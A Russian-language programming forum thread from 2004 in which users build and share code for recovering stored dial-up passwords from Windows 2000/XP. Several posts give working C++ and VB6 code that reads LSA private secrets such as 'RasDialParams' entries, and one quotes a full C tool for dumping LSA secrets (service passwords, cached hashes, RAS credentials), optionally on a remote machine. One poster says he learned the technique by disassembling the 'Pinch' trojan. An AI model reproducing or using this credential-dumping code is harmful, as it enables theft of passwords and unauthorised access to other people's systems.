Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 | 2 |

 

  Вопрос: Dial-up pass in 2000/XP Добавлено: 07.05.04 09:12  

Автор вопроса:  2San

http://apexsun.w6.ru/forums/index.php?act=ST&f=3&t=7&st=0#entry10

Ответить

  Ответы Всего ответов: 27  

Номер ответа: 1
Автор ответа:
 2San



Вопросов: 11
Ответов: 68
 Профиль | | #1 Добавлено: 07.05.04 19:23

Вопрос к админам: куда делся предыдущий топик по этой теме???

И вопрос к тем кто скачал исходники: можно их на ВБ портировать или нет????

Ответить

Номер ответа: 2
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #2
Добавлено: 08.05.04 12:15

Портировать, конечно, можно, только кода там много, посему мне пока лень. Тем более, что я не храню пароли на компе :)

Ответить

Номер ответа: 3
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #3
Добавлено: 17.05.04 13:24

неплохая дока: http://downloads.securityfocus.com/library/S24NTSec.doc

Ответить

Номер ответа: 4
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #4
Добавлено: 18.05.04 15:11

Вот я начал ето переделывать... но обламался с одной функцией, может кто сможет перевести... Ну на делфи уже у вас есть (см. выше), я тут еще на С++ нашел, может кому будет легче...

DWORD _readSecret(wchar_t* pszKey,
wchar_t* pszValue,
DWORD cchMax) {
LSA_UNICODE_STRING usKey;
_initString(usKey, pszKey);

 

LSA_OBJECT_ATTRIBUTES oa = {sizeof oa};
DWORD grfAccess = POLICY_GET_PRIVATE_INFORMATION;

 

LSA_HANDLE hPolicy;
NTSTATUS s = LsaOpenPolicy(0, &oa,
grfAccess,
&hPolicy);
if (!s) {
LSA_UNICODE_STRING* pusValue;
s = LsaRetrievePrivateData(hPolicy,
&usKey,
&pusValue);
if (!s) {
if (pusValue->Length >
((cchMax - 1) * sizeof(wchar_t))) {
LsaFreeMemory(pusValue);
LsaClose(hPolicy);
return ERROR_NOT_ENOUGH_MEMORY;
}
else {
const DWORD cb = pusValue->Length;
CopyMemory(pszValue, pusValue->Buffer, cb);
pszValue[cb / sizeof(wchar_t)] = '\0';
}
LsaFreeMemory(pusValue);
}
LsaClose(hPolicy);
}
return LsaNtStatusToWinError(s);
}


Оказывается этот баг еще в январе 2002 года нашли :)

Ответить

Номер ответа: 5
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #5
Добавлено: 18.05.04 15:14

На VB я уже сделал много (более 89 Кб), так что не влезет, а вот функцию с получением SID вписать могу, вот как это я делаю на VB:

Private Type LSA_UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End Type
Private Type LSA_OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long ' Should be NULL
ObjectName As Long ' LSA_UNICODE_STRING Should be NULL
Attributes As Long ' Should be zero
SecurityDescriptor As Long ' PTR Should be NULL
SecurityQualityOfService As Long ' PTR Should be NULL
End Type
Private Function GetLocalSid() As String
Dim UserName As String, UserNameSize As Long, _
Sid As String, SidSize As Long, _
domain As String, DomainSize As Long, _
snu As Long

 

UserName = String$(255, 0&) ' Резервируем место
Sid = String$(255, 0&)
domain = String$(255, 0&)
GetLocalSid = String$(255, 0&)

UserNameSize = 255 ' Длинна всего и вся...
SidSize = 255
DomainSize = 255

 

If GetUserName(UserName, UserNameSize) = 0& Then Exit Function ' Имя пользователя
UserName = Left$(UserName, InStr(vbNull, UserName, vbNullChar, vbBinaryCompare) - vbNull)
' Получение SID
Call LookupAccountName(vbNullString, UserName, Sid, SidSize, domain, DomainSize, snu)
If IsValidSid(ByVal Sid) = 0& Then Exit Function ' Проверка на вшивость

 

Call ConvertSidToStringSid(Sid, snu) ' Конвертируем в строку
Call CopyMemory(ByVal GetLocalSid, ByVal snu, 255) ' ConvertSidToStringSid долго кривлялась, пришлось делать так...

 

GetLocalSid = Left$(GetLocalSid, InStr(vbNull, GetLocalSid, vbNullChar, vbBinaryCompare) - vbNull)
Call GlobalFree(snu) ' Освобождем от хлама
End Function

 

Private Function GetLsaData(ByVal Policy As Long, ByVal KeyName As String, ByRef OutData As LSA_UNICODE_STRING) As Boolean
Dim LsaObjectAttribs As LSA_OBJECT_ATTRIBUTES
Dim LsaHandle As Long
Dim LsaKeyName As LSA_UNICODE_STRING
Dim ret As Long

 

If LsaOpenPolicy(ByVal 0&, LsaObjectAttribs, Policy, LsaHandle) > 0 Then Exit Function

 

LsaKeyName.Length = LenB(KeyName) ' LenB(KeyName)
LsaKeyName.MaximumLength = LsaKeyName.Length + &H2 ' LsaKeyName.Length + &H2
KeyName = KeyName & vbNullChar & vbNullChar
LsaKeyName.Buffer = StrPtr(KeyName) ' По идее ведь в VB строки и так в Unicode, или я ошибаюсь...

 

ret = LsaRetrievePrivateData(LsaHandle, LsaKeyName, OutData)
MsgBox ret
MsgBox LsaNtStatusToWinError(ret)

 

Call LsaFreeMemory(ByVal LsaKeyName.Buffer)
Call LsaClose(LsaHandle)
End Function

 

Private Sub GetLSAPasswords()
Dim PrivateData As LSA_UNICODE_STRING

 

If Not LoadLSAFunctions Then Exit Sub

If GetLsaData(POLICY_GET_PRIVATE_INFORMATION, "RasDialParams!" & GetLocalSid, PrivateData) Then
'Call ProcessLSABuffer(PrivateData.Buffer, PrivateData.Length)
'Call LsaFree(PrivateData.buffer)
End If
UnLoadLSAFunctions
End Sub

Ответить

Номер ответа: 6
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #6
Добавлено: 13.07.04 02:10
Вот тут я запоролся четыре месяца назад...

ret = LsaRetrievePrivateData(LsaHandle, LsaKeyName, OutData)

Нашел выход только сегодня!
Как ни странно, я этой функции передовал:
- VB строку через:
    LsaKeyName.Buffer = StrPtr(KeyName) - и расширеную и обычную, хотя в VB все строки "расширены"
    LsaKeyName.Buffer = VarPtr(ByteArray(0)) - и расширеный и нет массив... толку небыло
    Передавал и строку и массив с пом. CopyMemory, копируя адреса...

В общем чего я только не пробовал... ничего не получалось... вот такая вот бяка...
Но вот сегодня после целого дня изучения одного из модулей трояна "Pinch", и 4-х часов сидения за дебаггером, мне все надоело и я решил глянуть а как эта функция вызывается... не найдя ничего нового решил еще рас попробовать с пом. функций выделения памяти... и о чудо! заработало :)

Так что если сделаю/еще где-нить запнусь, сюда отпишу... вот...

А вот, собственно, то, из-за чего я потратил не одну неделю на изучение всякой ерунды:

Private Function GetLsaData(ByVal Policy As Long, ByVal KeyName As String, ByRef OutData As LSA_UNICODE_STRING) As Boolean
    ;Dim LsaObjectAttribs As LSA_OBJECT_ATTRIBUTES
    ;Dim LsaHandle As Long
    ;Dim LsaKeyName As LSA_UNICODE_STRING

    If Not LsaOpenPolicy(ByVal 0&, LsaObjectAttribs, Policy, LsaHandle) = 0 Then Exit Function

    LsaKeyName.Length = LenB(KeyName) ' LenB(KeyName)
    LsaKeyName.MaximumLength = LsaKeyName.Length + &H2 ' LsaKeyName.Length + &H2
                                                                    ' Мучался недели двe... Что я только сюда не передавал (массивы, строки), все не работало, пришлось через АПИ
    LsaKeyName.Buffer = LocalAlloc(LMEM_ZEROINIT, &HFF) ' &HFF - кажется, максимальная длинна...
    Call MultiByteToWideChar(0&, 0&, KeyName, Len(KeyName), LsaKeyName.Buffer, LsaKeyName.MaximumLength)

    If Not LsaRetrievePrivateData(LsaHandle, LsaKeyName, OutData) = 0& Then
        Call LsaClose(LsaHandle) ' Надо бы закрыть...
        Exit Function
    End If

    Call LsaFreeMemory(LsaKeyName.Buffer) ' Call LocalFree(LsaKeyName.Buffer) Как ни странно, использовать можно и то, и другое
    Call LsaClose(LsaHandle)
End Function

Ответить

Номер ответа: 7
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #7
Добавлено: 13.07.04 02:51
Функция молодецЪ, работает :)
но теперь возвращает неверные данные в OutData... завтра буду дальше колдовать :))

Ответить

Номер ответа: 8
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #8
Добавлено: 13.07.04 03:30
Ура товарищи!!!
В результате усиленного колдовства и еще более тщательного изучения и дизасемблирования листингов разной ерунды, были получены пароли к Диал-Ап соединениям с помощью VB6 :)

Сегодня все собирать и приводить в должный вид мне лень, завтра выложу исходник модуля... как доделаю...

Ответить

Номер ответа: 9
Автор ответа:
 Justas



ICQ: 259418212 

Вопросов: 24
Ответов: 325
 Web-сайт: justas.newmail.ru
 Профиль | | #9
Добавлено: 13.07.04 03:43
Гмм, прям гений... :))
куда выложишь то?

Ответить

Номер ответа: 10
Автор ответа:
 DaSharm



ICQ: 780477 

Вопросов: 72
Ответов: 1297
 Web-сайт: dasharm.com
 Профиль | | #10
Добавлено: 13.07.04 10:25
SNE - чемпион!

Ответить

Номер ответа: 11
Автор ответа:
 DaSharm



ICQ: 780477 

Вопросов: 72
Ответов: 1297
 Web-сайт: dasharm.com
 Профиль | | #11
Добавлено: 13.07.04 10:31
2 sne: Ночь у тебя интересная была :). А я о Срр, ты не знаешь что за заголовочный файл там используеться?Я подключил "ntsecapi.h" но при компиляции в нем находит много ошибок. Чё за фигня?

Ответить

Номер ответа: 12
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #12
Добавлено: 13.07.04 10:58
Justas, как доделаю... я только вчера(сегодня) еще буфер получил с данными, теперь его нужно обработать...

DaSharm, я тоже пытался... когда хотел размер структуры узнать... у меня выдал две ошибки, я забил и пошел хеадеры просматривать...
потом Сюшные типы сравнил с АСМовыми, из windows.inc, и описал в VB...

А на счет заголовков - не волнуйся, сам напишешь, там не много нужно...

Ответить

Номер ответа: 13
Автор ответа:
 DaSharm



ICQ: 780477 

Вопросов: 72
Ответов: 1297
 Web-сайт: dasharm.com
 Профиль | | #13
Добавлено: 13.07.04 12:54
По ходу работка для тебя есть :). Думаю ето тебя заинтересует:
--------
Following on from the service password issue I raised some time ago,
here's a little program that will dump various LSA secrets such
as service passwords (plain text), cached password hashes of the
last users to login to a machine, FTP, WEB, etc. plaintext
passwords, RAS dial up account names, passwords etc, workstation
passwords for domain access, etc.

run as: prog _sc_schedule [machine], prog nl$1, prog w3_root_data
or any other registry key under NTLM\security\policy\secrets.

The moral? If only microsoft would document just 10% of the
APIs, maybe people wouldn't make an issue of these things.

NOTE: THIS HAS TO BE RUN AS AN ADMINISTRATOR, OK?!

Cheers
Paul
ps. Sorry about the coding, but win32 programming is so tedious.

#include <windows.h>
#include <stdio.h>

#include "ntsecapi.h"
#define AST(x) if (!(x)) {printf("Failed line %d\n", __LINE__);exit(1);} else
void write();

PLSA_UNICODE_STRING
str(LPWSTR x)
{
    static LSA_UNICODE_STRING s;

    s.Buffer=x;
    s.Length=wcslen(x)*sizeof(WCHAR);
    s.MaximumLength = (wcslen(x)+1)*2;
    return &s;
}

int _cdecl
main(int argc, char *argv[])
{
    LSA_HANDLE pol;
    PLSA_UNICODE_STRING foo;
    LSA_OBJECT_ATTRIBUTES attrs;
    WCHAR keyname[256]=L"";
    WCHAR host[256]=L"";

    wsprintfW(keyname, L"%hS", argv[1]);
    if(argc == 3) wsprintfW(host, L"%hS", argv[2]);
    memset(&attrs, 0, sizeof(attrs));
    AST(!LsaOpenPolicy(str(host), &attrs, 0, &pol));
    AST(!LsaRetrievePrivateData(pol, str(keyname), &foo));
    write(1, foo->Buffer, foo->Length);
    LsaClose(pol);
    exit(0);
}

Ответить

Номер ответа: 14
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #14
Добавлено: 13.07.04 14:05
Я этот код уже видел, но у меня он не хотел компилироваться, выдавал ошибку:
error C2660: 'write' : function does not take 3 parameters

Да и в коде ассемблера совместно с дебагером, куда проще разобраться чем в коде CPP...

Или я что не понял ???

Ответить

Номер ответа: 15
Автор ответа:
 DaSharm



ICQ: 780477 

Вопросов: 72
Ответов: 1297
 Web-сайт: dasharm.com
 Профиль | | #15
Добавлено: 13.07.04 15:30
Переписываешь прототип write() на write(int,const void*,unsigned int)
а дальше откомпилиться но не прокатит, вот я хотел чтобы ты розобрался

Ответить

Страница: 1 | 2 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам